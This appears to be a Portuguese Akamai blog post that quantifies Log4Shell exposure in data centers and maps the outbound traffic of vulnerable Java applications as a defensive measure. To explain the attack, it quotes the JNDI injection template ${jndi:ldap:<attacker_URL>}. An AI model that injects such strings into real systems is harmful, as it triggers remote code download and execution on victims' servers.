Quantificando o Log4Shell: Vulnerabilidade em altíssima escala
Tudo o que você registrar poderá e será usado contra você
A vulnerabilidade do Log4Shell está aqui para ficar. Há muita especulação sobre o escopo e o impacto real da vulnerabilidade: Embora muitos o tenham rotulado como "grave", as informações são limitadas quanto ao grau de disseminação do risco. Para esclarecer o problema, o Akamai Threat Labs está utilizando sua visibilidade em vários data centers no mundo todo para avaliar o risco real que o Log4Shell representa para as organizações.
Principais conclusões:
Dois terços de todos os servidores Java inspecionados incluíam um Log4j vulnerável
91% dos data centers examinados executam aplicações do lado do servidor Java; entre eles, mais de 40% incluem servidores Java voltados para a Internet
Observando os padrões de comunicação de saída, a grande maioria das aplicações Java examinadas se comunica usando poucas portas
A análise de padrões de comunicação de saída pode ajudar as organizações a detectar comportamentos anômalos e atenuar alguns dos riscos que o Log4Shell
Para ver uma análise mais detalhada das tendências de exploração do Log4Shell, com base na ampla visibilidade da Akamai sobre a atividade online, confira Blog da Akamai sobre o tópico.
Introdução
O Akamai Guardicore Segmentation é usado em centenas de data centers em todo o mundo, fornecendo visibilidade e aplicação de rede em nível de processo. Em poucas palavras, a visibilidade da rede no nível do processo nos permite ver todas as conexões de rede feitas dentro da rede e saber qual processo iniciou a conexão no ativo de origem, bem como qual processo o recebeu no ativo de destino.
A ampla implantação, juntamente com essas informações exclusivas de processo a processo, nos permite estudar os padrões de comunicação de rede dentro de data centers e redes em nuvem, bem como através de seus perímetros. Com essas informações, podemos obter conclusões sobre a magnitude total de risco imposto pelo Log4Shell em nossas vidas digitais e o que os profissionais de segurança de rede podem fazer para limitá-la.
Esta postagem do blog é dividida em duas partes. O primeiro esclarece a superfície de ataque das organizações, ou seja, a probabilidade de uma organização estar vulnerável ao Log4Shell. A segunda parte se concentrará em algumas aplicações vulneráveis que são amplamente usadas em ambientes de produção e descreverá seus padrões normais de comunicação. Isso deve fornecer aos defensores informações que os ajudarão a segmentar essas aplicações adequadamente e a evitar a exploração.
Quantificando o risco do Log4Shell
Para entender como o Java é predominante entre as organizações, coletamos dados de mais de 200 data centers diferentes em todo o mundo, de vários setores e tamanhos. Em cada data center, identificamos os servidores conectados à Internet, bem como os servidores executando Java que aceitam conexões de rede. Levamos em consideração os processos Java (java.exe, java para Linux, javaw etc.) e os processos que carregam a máquina virtual Java em sua própria memória.
Avaliando o risco: a prevalência do Log4j em data centers
Embora haja uma série de especulações sobre a escala e ao escopo da vulnerabilidade, a análise dos data centers nos permite usar dados para quantificar o risco apresentado pela vulnerabilidade do Log4Shell.
A equipe encontrou um grande número de servidores vulneráveis a ataques Log4Shell nos ambientes examinados. Na verdade, descobrimos que nesses ambientes, em média, dois terços de todos os servidores Java incluíam um Log4j vulnerável. Em alguns ambientes, mais de 90% de todas as máquinas Java estavam vulneráveis. Este é um número muito mais elevado do que o que esperávamos originalmente, e pinta uma imagem sombria de como a vulnerabilidade já pode estar disseminada.
Em outro teste de menor escala, a equipe de pesquisa descobriu que 100% dos ambientes examinados tinham pelo menos um servidor vulnerável ao Log4Shell, antes da aplicação de patches. Isso indica o nível de risco que existia nesses ambientes antes do lançamento do patch. Assim que a aplicação de patches é iniciada, podemos ver o número de ambientes vulneráveis diminuir. No entanto, é importante entender que até mesmo um pequeno número de servidores vulneráveis em um ambiente grande pode representar uma superfície de ataque significativa no ambiente.
Os números acima revelam a base do problema. A popularidade do Log4j disseminou essa vulnerabilidade da noite para o dia, em uma escala com poucos precedentes. Entender que quase dois terços de todos os servidores Java ainda estão vulneráveis requer que as equipes de TI e segurança trabalhem arduamente para descobrir onde o utilitário de registro pode ser usado e planejem a atenuação.
Os servidores Java voltados para a Internet representam um risco ainda maior
A vulnerabilidade dos servidores é agravada pela acessibilidade deles. Embora a vulnerabilidade em si seja motivo de preocupação o bastante, um servidor voltado para a Internet apresenta um risco ainda maior, já que pode ser usado como um vetor de ataque para entrar na rede. Conforme analisado na pesquisa da Akamai sobre as tendências de tráfego na Internet do Log4j, podemos ver que os invasores estão correndo para abusar dessa vulnerabilidade de qualquer maneira possível e em números surpreendentes.
Em nossa pesquisa, descobrimos que preocupantes 91% dos data centers estão executando aplicações Java no lado do servidor. Entre eles, mais de 40% incluem servidores Java voltados para a Internet. Isso traz mais complexidade à história. É muito mais fácil explorar os servidores voltados para a Internet, pois são facilmente acessíveis para o mundo externo. Na próxima seção deste blog, nos concentraremos nas comunicações de saída de aplicações Java e faremos algumas recomendações de mitigação para aqueles que desejam monitorar e proteger servidores conectados à Internet que executam aplicações Java.
Observe, no entanto, que os data centers em que todos os servidores Java são internos (ou seja, não conectados à Internet) não podem ser considerados seguros. Embora o Log4Shell seja percebido principalmente como um meio de violar redes, alguns casos mostraram como as aplicações Java executadas em servidores internos receberam registros de servidores conectados à Internet e acabaram sendo comprometidas. Sendo assim, o Log4Shell pode ser usado tão facilmente para movimento lateral quanto para a violação inicial.
Mitigação assistida por dados
O Log4Shell é especialmente poderoso quando usado para baixar uma carga de uma máquina remota controlada por um invasor na vítima e executá-la. Para isso, o invasor injeta uma mensagem de log no formato ${jndi:ldap:<attacker_URL>}, que eventualmente aciona uma conexão do processo de aplicação vulnerável à URL incorporada. Em seguida, o objeto de classe Java remoto é baixado e executado na memória.
Sabendo disso, o Akamai Threat Labs começou a mapear padrões de comunicação de servidores Java e, mais especificamente, de várias aplicações que são vulneráveis ao Log4Shell. O entendimento de como os servidores e processos Java se comunicam regularmente fornece aos profissionais de segurança e de TI informações essenciais para detectar e mitigar anomalias em seus ambientes, eventualmente interrompendo a exploração do Log4Shell e permitindo que a operação comercial normal continue.
Mapeando a comunicação de saída: Como os servidores Java estabelecem contato?
Para entender como os servidores Java se comunicam com a Internet, começamos ao quantificar o número de portas TCP de destino usadas pelas aplicações Java para se conectar à Internet. De acordo com nossa análise, a grande maioria dos servidores conectados à Internet se comunica por muito poucas portas (menos de 10).
Isso enfatiza a importância e os benefícios de segurança de limitar a comunicação de saída permitida dos diferentes servidores e processos em seu data center. Ou seja, identificar a comunicação com uma porta de destino pela primeira vez, a partir de um processo que até agora se comunicou através de um conjunto específico de portas, pode ser eficaz para identificar tentativas de ataque.
Continuamos essa linha de exploração em uma base mais granular para várias aplicações Java comuns.
Padrões de comunicação específicos da aplicação
Usando a visibilidade exclusiva de nível de processo da Akamai Guardicore Segmentation, o Akamai Threat Labs é capaz de coletar informações detalhadas sobre o comportamento de aplicações específicas vulneráveis ao Log4Shell. Esses dados podem ser usados para estudar comportamentos normais desses processos, detectar anomalias e criar regras de segmentação eficazes conforme necessário.
A equipe examinou os padrões de comunicação de quatro aplicações vulneráveis populares (especificamos entre parênteses o processo que aciona o tráfego de rede):
Elasticsearch: um mecanismo de pesquisa de texto completo muito popular com uma variedade de casos de uso (%elasticsearch%/bin/java)
Logstash: pipeline de processamento de dados do lado do servidor usado para inclusão e transformação de dados (/usr/share/logstash/jdk/bin/java)
VMware vCenter: uma plataforma de gerenciamento para máquinas virtuais VMware e hosts ESXi (%\VMware\vCenter Server\%\bin\java.exe)
Agente Okta RADIUS: Um agente usado para delegar a autenticação RADIUS à solução Okta Identity Management (okta-radius.exe)
As perguntas que queríamos responder eram as seguintes:
A quais portas de destino essas aplicações normalmente se conectam?
Especificamente, a quais portas essas aplicações se conectam quando os destinos estão na Internet?
Analisando dados agregados de vários ambientes de produção, obtivemos algumas percepções exclusivas. Observamos que as aplicações têm um número muito limitado de portas de destino da Internet:
Logstash |
Elasticsearch |
Servidor vCenter |
Agente Okta RADIUS |
|
Portas de saída |
443 53 9200 9092 80 |
9300 443 53 9301 80 |
Grande número de portas |
80 443 |
Portas de Internet |
443 |
443 80 |
9080 902 443 80 |
80 443 |
No entanto, olhar para as portas nem sempre será suficiente, pois os invasores podem facilmente ocultar seus rastreios alterando as portas usadas para baixar a carga útil para as mencionadas acima.
Para formarmos conclusões mais úteis a partir desses dados, precisávamos analisar os endereços IP de destino como um meio de entender o que constitui a atividade normal por meio dessas portas. Ocultar rastreamentos de ataques se torna muito mais desafiador com endereços IP: Se um determinado servidor se comunicar com apenas um endereço IP na Internet, um invasor terá que obter controle sobre o servidor por trás desse IP para servir suas cargas maliciosas a partir disso. Portanto, estudar IPs de destino pode ser útil para fins de defesa.
A análise fornece uma média de endereços IP exclusivos aos quais cada aplicação se conecta para cada porta. Um número baixo e constante de endereços pode abrir caminho para outra oportunidade de prevenção e/ou detecção. Ou seja, se uma aplicação "se comunicar" com poucos endereços IP, todas as outras conexões podem ser consideradas suspeitas.
Analisamos o número de endereços IP de destino exclusivos para as portas 443 e 80 e vimos que, em quase todos os casos, seu número era baixo e estável ao longo do tempo:
Logstash |
Elasticsearch |
Servidor vCenter |
Agente Okta RADIUS |
||
Média de endereços de Internet por porta |
Porta TCP 443 |
4,0 |
7,2 |
7,0 |
3,75 |
Porta TCP 80 |
- |
2,0 |
1,3 |
- |
|
O entendimento de que muitas aplicações vulneráveis podem ter padrões de conexão bastante limitados (tanto no que diz respeito às portas de destino quanto aos IPs de destino) pode ser usado para reduzir a superfície de ataque e detectar ataques.
Conclusões
A mitigsção mais recomendada para a vulnerabilidade do Log4Shell é usar uma versão corrigida da própria biblioteca. No entanto, como é conhecido, a aplicação de patches nem sempre é viável (ou rápida) em ambientes de produção.
Nossas descobertas sobre o comportamento de comunicação de diferentes aplicações vulneráveis sugerem outra abordagem para reduzir a superfície de ataque e detectar a exploração do Log4Shell (bem como outros ataques).
Recomendamos que os administradores de rede estudem os padrões de comunicação de aplicações vulneráveis e mapeiem suas conexões de saída, tanto em relação aos endereços IP de destino quanto às portas de destino. Com esse conhecimento em mãos, os defensores podem limitar essas conexões ao nível mínimo, permitindo o tráfego somente em portas de comunicação conhecidas e padrão.
Nos casos em que o bloqueio das conexões não for uma opção viável, recomendamos a monitorização de anomalias em conexões originadas a partir de servidores ligados à Internet, quer sejam novas portas ou endereços IP. Os usuários do Akamai Guardicore Segmentation podem utilizar informações no nível do processo para melhorar a visibilidade das várias conexões que cada servidor executa. Esses dados são investigados proativamente por nossa equipe de busca de ameaças para clientes Hunt.
Para obter mais informações sobre como atenuar ataques de Log4Shell, consulte nosso blog: Mitigação do abuso do Log4j usando a segmentação Guardicore.
